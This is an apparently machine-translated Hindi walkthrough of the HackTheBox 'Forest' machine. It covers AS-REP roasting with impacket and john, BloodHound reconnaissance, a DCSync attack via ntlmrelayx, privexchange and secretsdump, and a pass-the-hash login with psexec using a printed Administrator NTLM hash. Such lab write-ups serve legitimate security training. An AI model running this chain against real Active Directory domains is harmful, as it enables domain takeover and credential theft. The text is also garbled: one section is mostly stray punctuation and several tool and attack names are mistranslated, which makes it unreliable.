🗨️ 🍢 👽 बॉक्स हैक - वॉकथ्रू फ़ॉरेस्ट। AS-REP रोस्टिंग, DCSync और पास-द-हैश अटैक 🧖🏻 ✌️ 🎱

मैं HackTheBox साइट से आगे की प्रक्रिया के लिए भेजे गए समाधान प्रकाशित करना जारी रखता हूं । मुझे उम्मीद है कि इससे कम से कम किसी को सूचना सुरक्षा के क्षेत्र में विकसित करने में मदद मिलेगी। इस लेख में, हम केर्बोस प्रमाणीकरण योजना में एएस-आरईपी रोस्टिंग के साथ सौदा करेंगे, डोमेन टोही के लिए ब्लडहाउंड का उपयोग करें, डीसीएसयूएनसी प्रिविक्सचेंज हमले और पास-द-हैश हमले का प्रदर्शन करें।

प्रयोगशाला का कनेक्शन वीपीएन के माध्यम से है। यह सलाह दी जाती है कि किसी कार्य कंप्यूटर या किसी होस्ट से कनेक्ट न करें जहां आपके लिए महत्वपूर्ण डेटा उपलब्ध है, क्योंकि आप एक निजी नेटवर्क पर ऐसे लोगों के साथ रहते हैं जो सूचना सुरक्षा के क्षेत्र में कुछ जानते हैं :)

संगठनात्मक जानकारी

, - , :

PWN;
(Crypto);
c (Network);
(Reverse Engineering);
(Stegano);
WEB-.

, , , .

, , Telegram . , , .

. , - , .

टोह

इस मशीन का IP पता 10.10.10.161 है, जिसे मैं / etc / मेजबानों में जोड़ता हूँ।
10.10.10.161 forest.htb
सबसे पहले, हम खुले बंदरगाहों को स्कैन करते हैं। चूंकि नैम्प के साथ सभी बंदरगाहों को स्कैन करने के लिए एक लंबा समय लगता है, इसलिए मैं इसे पहले मैसकैन के साथ करूंगा। हम 1000 पैकेट प्रति सेकंड की गति से tun0 इंटरफ़ेस से सभी टीसीपी और यूडीपी पोर्ट को स्कैन करते हैं।

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.161 --rate=1000

मेजबान पर बहुत सारे खुले बंदरगाह थे, और मैंने यह सुनिश्चित करने का निर्णय लिया कि मैस्कन द्वारा प्रदान किए गए परिणाम सही थे। ऐसा करने के लिए, बस नैम्प में बंदरगाहों की स्थिति को स्कैन किया।

nmap 10.10.10.161 -p135,636,3269,49676,49665,53,593,49671,9389,49667,5985,49666,389,88,49684,464,3268,49677,47001,139,445,49714

लेकिन नैंप ने हर बात की पुष्टि की। अगला, आपको नैम्प के लिए जाने वाले पोर्ट के बारे में अधिक जानकारी एकत्र करने की आवश्यकता है।

nmap -A 10.10.10.161 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001

अगला, आपको सिस्टम से यथासंभव अधिक जानकारी प्राप्त करने की आवश्यकता है। इसके लिए, मैंने enum4linux का उपयोग किया। लेकिन उन्होंने हमें बहुत कम जानकारी दी। समूह, पासवर्ड आवश्यकताएँ, SMBv1 और साझा संसाधनों की कमी, आदि। हालाँकि, हमें उपयोगकर्ताओं की एक सूची मिली है।

enum4linux -a 10.10.10.161

चूँकि kerberos होस्ट पर चल रहा है, इसलिए आपको यह जाँचने की आवश्यकता है कि क्या कोई ऐसा उपयोगकर्ता खाता है जिसके पास DONT_REQ_PREAUTH ध्वज UAC में सेट है। आप यूएसी झंडे और उनके यहां क्या अर्थ के बारे में अधिक जान सकते हैं । DONT_REQ_PREAUTH ध्वज का अर्थ है कि इस खाते के लिए Kerberos प्रमाणीकरण की आवश्यकता नहीं है।

सबसे पहले, पता करें कि कौन से उपयोगकर्ता खाते सक्रिय हैं। यह सैकंडप स्क्रिप्ट को इंपेकेट के साथ शामिल करने में मदद करेगा।

impacket-samrdump forest.htb

स्क्रिप्ट पहले सभी उपयोगकर्ताओं को प्रदर्शित करती है, और फिर उनमें से प्रत्येक के बारे में विस्तृत जानकारी। इस तरह आप देख सकते हैं कि व्यवस्थापक खाता सक्रिय है, और अतिथि नहीं है। अब हम सक्रिय उपयोगकर्ताओं की सूची बना सकते हैं।

जब हमारे पास सक्रिय उपयोगकर्ताओं की सूची होती है, तो हम उस ध्वज की उपलब्धता की जांच कर सकते हैं जिसकी हमें आवश्यकता है। हम इसे GetNPUsers स्क्रिप्ट का उपयोग करके कर सकते हैं, जो कि impacket पैकेज का भी हिस्सा है। हम htb.local डोमेन, डोमेन नियंत्रक 10.10.10.161, कर्बेरॉस प्रमाणीकरण विधि (-k), पासवर्ड के बिना विकल्प और उपयोगकर्ताओं की सूची निर्दिष्ट करते हैं।

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -k -no-pass -usersfile ADUsers.txt

हमें बताया गया है कि यह झंडा svc-alfresco को छोड़कर सभी उपयोगकर्ताओं के लिए सेट नहीं है। इम्पैक्ट (21-देव) के मेरे संस्करण में, हैश स्वचालित रूप से अनुरोध किया गया है।

प्रवेश बिंदु - एएस-आरईपी रोस्टिंग

हैश क्या लौटा था इसके बारे में कुछ शब्द। नीचे Kerberos प्रमाणीकरण योजना है।

जैसा कि आप देख सकते हैं, पहले चरण में: ग्राहक उपयोगकर्ता आईडी के साथ उपयोगकर्ता की ओर से सेवा अनुरोध के साथ प्रमाणीकरण सर्वर एएस को एक संदेश भेजता है। AS डेटाबेस में पाए गए उपयोगकर्ता के पासवर्ड को हैशिंग द्वारा एक गुप्त कुंजी बनाता है।

इस तरह हम हैश के माध्यम से स्क्रॉल कर सकते हैं और पासवर्ड का पता लगा सकते हैं। इस तरह के हमले को एएस-आरईपी रोस्टिंग कहा जाता है। हैश को एक फ़ाइल में सहेजें और प्रोटोटाइप ढूंढें।

john --wordlist=./rockyou.txt hashes2.txt

और हम उपयोगकर्ता का पासवर्ड ढूंढते हैं।

उपयोगकर्ता

यदि आप खुले बंदरगाहों पर वापस जाते हैं, तो आप दूरस्थ प्रबंधन के लिए डिज़ाइन की गई एक कार्यशील WinRM सेवा (या Windows दूरस्थ प्रबंधन) पा सकते हैं। हमारे पास एक उपयोगकर्ता नाम और पासवर्ड है, इसलिए हम इसे सुरक्षित रूप से कनेक्ट कर सकते हैं। इसके लिए मैं बुराई-जीत का उपयोग करता हूं ।

तो हम उपयोगकर्ता लेते हैं।

जड़

ब्लडहाउंड के साथ खुफिया

अब हमें अपने विशेषाधिकारों को बढ़ाने की आवश्यकता है। किसी डोमेन में LPE पथ को मैप करने के लिए, आप BloodHound प्रोग्राम का उपयोग कर सकते हैं ।

ईविल- winrm आपको होस्ट से और इसके लिए फाइल अपलोड करने की अनुमति देता है। मैंने होस्ट शार्पहाउंड पर अपलोड किया - जानकारी एकत्र करने के लिए एक मॉड्यूल।

इसके अलावा बुराई-winrm आपको पॉवरशेल स्क्रिप्ट को निष्पादित करने की अनुमति देता है। हम उपयोगकर्ता, पासवर्ड, और यह भी इंगित करेंगे कि हम वह सब कुछ जानना चाहते हैं जो संभव है।

स्क्रिप्ट निष्पादित होने के बाद, एक ज़िप संग्रह वर्तमान निर्देशिका में दिखाई देगा। हम इसे होस्ट से डाउनलोड करते हैं।

इसके बाद, Neo4j ग्राफ DBMS को चलाएं जिसके साथ BloodHound काम करता है।

neo4j console

अब BloodHound चलाएं। एक खाली स्क्रीन हमें मिल जाएगी।

अब बस डाउनलोड किए गए संग्रह को इसमें खींचें और छोड़ें। और क्वेरी टैब पर जाएं।

और हम कहते हैं कि हम डोमेन के सबसे छोटे रास्तों को खोजना चाहते हैं। ब्लडहाउंड एक ग्राफ बनाएगा - हमारी सुसंगत प्रगति का मार्ग। प्रत्येक नेटवर्क नोड पर क्लिक करके, हम इसके बारे में जानकारी प्राप्त करेंगे।

इस प्रकार, हमें बताया गया है कि हमें Exchange Windows अनुमतियाँ समूह का सदस्य बनना चाहिए, क्योंकि हमारे साथ विशेषाधिकार प्राप्त समूह सेवा खातों के साथ व्यवहार किया जाता है, और उसके बाद ही हम विशेषाधिकार बढ़ा सकते हैं।

net user svc-alfresco

वर्तमान में उपयोगकर्ता इस समूह में नहीं है। आइए इसे जोड़ते हैं, और फिर उपयोगकर्ता समूहों की जांच करते हैं।

Add-ADGroupMember "Exchange Windows Permissions" svc-alfresco

उपयोगकर्ता को सफलतापूर्वक समूह में जोड़ा गया। अब देखते हैं कि यह हमें क्या देता है। सक्रिय निर्देशिका में डोमेन ऑब्जेक्ट के लिए Exchange Windows अनुमतियाँ समूह में WriteDACL (अधिकार देने के अधिकार) हैं, जो समूह के किसी भी सदस्य को DCSync संचालन सहित डोमेन विशेषाधिकारों को बदलने की अनुमति देता है।

DCSync

DCSync हमले के बारे में थोड़ा। सक्रिय निर्देशिका प्रतिकृति वह प्रक्रिया है जिसके द्वारा डोमेन नियंत्रकों में से किसी एक में किए गए परिवर्तन डोमेन के बाकी नियंत्रकों के साथ सिंक्रनाइज़ किए जाते हैं। आवश्यक अनुमतियाँ प्राप्त करने पर, हम एक प्रतिकृति अनुरोध शुरू कर सकते हैं, जो हमें पासवर्ड हैश सहित सक्रिय निर्देशिका में संग्रहीत डेटा प्राप्त करने की अनुमति देगा।

यही है, हम सक्रिय निर्देशिका उपयोगकर्ता पासवर्ड की हैश को सिंक्रनाइज़ कर सकते हैं और NTLM प्रोटोकॉल (Microsoft विकसित नेटवर्क प्रमाणीकरण प्रोटोकॉल) या Kerberos का उपयोग करके किसी भी सेवा में लॉग इन कर सकते हैं। हमले में इम्पैक्ट पैकेज से दो टूल, privexchange.py और ntlmrelayx.py का उपयोग शामिल है।

सबसे पहले, svc-alfresco खाते के साथ डोमेन नियंत्रक के लिए LDAP रिले मोड में ntlmrelayx चलाएं।

ntlmrelayx.py -t ldap://htb.local --escalate-user svc-alfresco

सभी सेवाएं चल रही हैं और एक कनेक्शन की प्रतीक्षा कर रहे हैं। अब privex का उपयोग करें।

python privexchange.py 10.10.10.161 -ah _ip -d htb.local -u svc-alfresco -p s3rvice

और फिर मैंने कुछ मिनटों तक अफवाह उड़ाते हुए गलतियों का एक समूह उड़ाया, उन्हें ठीक नहीं करने का निर्णय लिया गया। आप ब्राउज़र में ऊपर दिए गए लिंक का अनुसरण कर सकते हैं और svc-alfresco क्रेडेंशियल के साथ प्रमाणीकरण पास कर सकते हैं। Ntlmrelayx वाली विंडो में हम कनेक्शन की जानकारी देखेंगे।

अब DCSync हमले को सीक्रेट्सडम्प का उपयोग करके निष्पादित करें।

secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -just-dc

ठीक। हम सभी खातों को दोहराने में सक्षम थे।

पास-पास-पास हैश अटैक

यह हमला एक हमलावर को दूरस्थ सर्वर में लॉग इन करने की अनुमति देता है जिसे NTLM या LM प्रोटोकॉल का उपयोग करके प्रमाणित किया जाता है।

NTLM प्रमाणीकरण प्रोटोकॉल का उपयोग करने वाले सिस्टम पर, पासवर्ड किसी संचार चैनल पर स्पष्ट पाठ में प्रेषित नहीं होते हैं। इसके बजाय, उन्हें सवाल-जवाब प्रमाणीकरण योजना में प्रतिक्रिया चरण में हैश के रूप में उपयुक्त प्रणाली (जैसे डोमेन नियंत्रक) में स्थानांतरित किया जाता है।

विंडोज एप्लिकेशन उपयोगकर्ता को स्पष्ट पाठ में पासवर्ड के लिए पूछते हैं, और फिर एपीआई (उदाहरण के लिए, LsaLogonUser) को कॉल करते हैं, जो पासवर्ड को एक एलएम हैश और NTLM हैश में अनुवाद करता है और प्रमाणीकरण प्रक्रिया के दौरान उन्हें पास करता है। प्रोटोकॉल के विश्लेषण से पता चला कि सफल प्रमाणीकरण के लिए पासवर्ड को स्पष्ट रूप में जानना आवश्यक नहीं है, इसके बजाय, केवल इसके हैश का उपयोग किया जा सकता है।

हमला नेटवर्क प्रमाणीकरण प्रोटोकॉल को लागू करने में एक कमजोरी पर आधारित है। यह इस तथ्य में समाहित है कि पासवर्ड हैश नमक के उपयोग के बिना प्रसारित होता है, और इसलिए सत्र से सत्र तक अपरिवर्तित रहता है (जब तक उपयोगकर्ता पासवर्ड नहीं बदला जाता है)। दूसरे शब्दों में, एक हमलावर के लिए, पासवर्ड हैश स्वयं पासवर्ड के बराबर हैं।

पिकेटेक का उपयोग करके एक हमला करें।

psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161

हम पूरे अधिकारों के साथ एक प्रणाली में हैं।

आप हमसे टेलीग्राम पर जुड़ सकते हैं । आइए एक समुदाय को एक साथ रखें जिसमें ऐसे लोग होंगे जो आईटी के कई क्षेत्रों में पारंगत हैं, फिर हम हमेशा किसी भी आईटी और सूचना सुरक्षा मुद्दों पर एक दूसरे की मदद कर सकते हैं।

बॉक्स हैक - वॉकथ्रू फ़ॉरेस्ट। AS-REP रोस्टिंग, DCSync और पास-द-हैश अटैक

टोह

प्रवेश बिंदु - एएस-आरईपी रोस्टिंग

उपयोगकर्ता

जड़

ब्लडहाउंड के साथ खुफिया

DCSync

पास-पास-पास हैश अटैक

More articles: